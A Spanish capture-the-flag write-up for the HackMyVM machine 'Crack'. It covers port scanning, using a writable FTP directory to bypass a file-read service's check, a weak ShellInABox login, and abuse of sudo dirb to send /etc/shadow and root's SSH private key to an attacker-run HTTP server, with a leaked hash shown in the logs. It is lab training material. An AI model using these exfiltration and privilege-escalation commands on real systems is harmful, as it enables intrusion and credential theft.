cd ~/blog

~/writeups/hmv/042-crack.md

042 - Crack

easy Linux hmv 11-03-2024
Custom file-read service path bypassShellInABox weak loginsudo dirb arbitrary file exfiltration
hackmyvm.eu/machines/machine.php?vm=Crack

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.40
 nmap -sCV -p21,4200,12359 -oN 02-targeted.txt 192.168.1.40
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-11 18:30 -03
Nmap scan report for 192.168.1.40
Host is up (0.00032s latency).

PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Jun 07  2023 upload [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
4200/tcp  open  ssl/http ShellInABox
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=crack
| Not valid before: 2023-06-07T10:20:13
|_Not valid after:  2043-06-02T10:20:13
|_http-title: Shell In A Box
12359/tcp open  unknown
| fingerprint-strings:
|   GenericLines:
|     File to read:NOFile to read:
|   NULL:
|_    File to read:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port12359-TCP:V=7.94%I=7%D=3/11%Time=65EF77FF%P=x86_64-pc-linux-gnu%r(N
SF:ULL,D,"File\x20to\x20read:")%r(GenericLines,1C,"File\x20to\x20read:NOFi
SF:le\x20to\x20read:");
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.76 seconds

Por FTP encontramos el script que da servicio al puerto 12359:

❯ cat crack.py
import os
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
port = 12359
s.bind(('', port))
s.listen(50)

c, addr = s.accept()
no = "NO"
while True:
    try:
        c.send('File to read:'.encode())
        data = c.recv(1024)
        file = (str(data, 'utf-8').strip())
        filename = os.path.basename(file)
        check = "/srv/ftp/upload/"+filename

        if os.path.isfile(check) and os.path.isfile(file):
            f = open(file,"r")
            lines = f.readlines()
            lines = str(lines)
            lines = lines.encode()
            c.send(lines)
        else:
            c.send(no.encode())
    except ConnectionResetError:
        pass

El servicio lee un archivo arbitrario, pero exige que exista un archivo con el mismo nombre base dentro de /srv/ftp/upload. Como ese directorio es escribible por FTP, subimos un passwd señuelo para satisfacer la comprobación y leer /etc/passwd real:

 echo "a" > passwd

ftp> put passwd
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
2 bytes sent in 9,4e-05 seconds (20,8 kbytes/s)
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 0        0            4096 Mar 11 23:55 .
drwxr-xr-x    3 0        114          4096 Jun 07  2023 ..
-rwxr-xr-x    1 1000     1000          849 Jun 07  2023 crack.py
-rw-------    1 107      114             2 Mar 11 23:55 passwd
 nc 192.168.1.40 12359
File to read:/etc/passwd
...
cris:x:1000:1000:cris,,,:/home/cris:/bin/bash
...

Con el usuario cris accedemos a la consola web ShellInABox (puerto 4200) usando cris:cris:

crack login: cris
Password: cris
Linux crack 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
...
Last login: Wed Jun  7 14:39:38 CEST 2023 from 192.168.0.100 on pts/0
cris@crack:~$

Convertimos la shell en una reverse más cómoda y obtenemos la primera flag. Para escalar, revisamos sudo -l:

cris@crack:~$ sudo -l
Matching Defaults entries for cris on crack:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cris may run the following commands on crack:
    (ALL) NOPASSWD: /usr/bin/dirb

Podemos ejecutar dirb como root. Lo abusamos para exfiltrar archivos: usamos un archivo sensible como wordlist contra nuestro propio servidor, de modo que sus líneas aparezcan en los logs. Levantamos un servidor HTTP y volcamos /etc/shadow:

 python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
cris@crack:~$ sudo -u root dirb http://192.168.1.10:8000 /etc/shadow
 python3 -m http.server
...
192.168.1.40 - - [11/Mar/2024 20:29:42] "GET /root:$y$j9T$LVT9GIrLdk5L.xns1akJZ1$wmigJ7er07AT/VwIAuYSZ3j94LOCe8EJHC6d2mlZVo3:19515:0:99999:7::: HTTP/1.1" 404 -
...

El hash de root no se crackea, así que buscamos otra vía. Listamos los puertos en escucha:

cris@crack:~$ ss -nltp
ss -nltp
State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
LISTEN 0      128        127.0.0.1:22         0.0.0.0:*
LISTEN 0      50           0.0.0.0:12359      0.0.0.0:*    users:(("python3",pid=746,fd=3))
LISTEN 0      128          0.0.0.0:4200       0.0.0.0:*
LISTEN 0      32                 *:21               *:*

Hay un SSH escuchando en localhost, así que repetimos el truco de exfiltración con dirb, esta vez para robar la clave privada de root:

cris@crack:~$ sudo -u root dirb http://192.168.1.10:8000 /root/.ssh/id_rsa

Formateamos la id_rsa obtenida en los logs y nos conectamos como root por SSH local:

cris@crack:~$ ssh root@localhost -i id_rsa
ssh root@localhost -i id_rsa
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:7z5F9pr6GN7gcEMbKUwipxWswKEpR9bMKOVzGc0V7/s.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Linux crack 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
...
Last login: Tue Mar 12 02:52:35 2024 from 127.0.0.1
root@crack:~#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados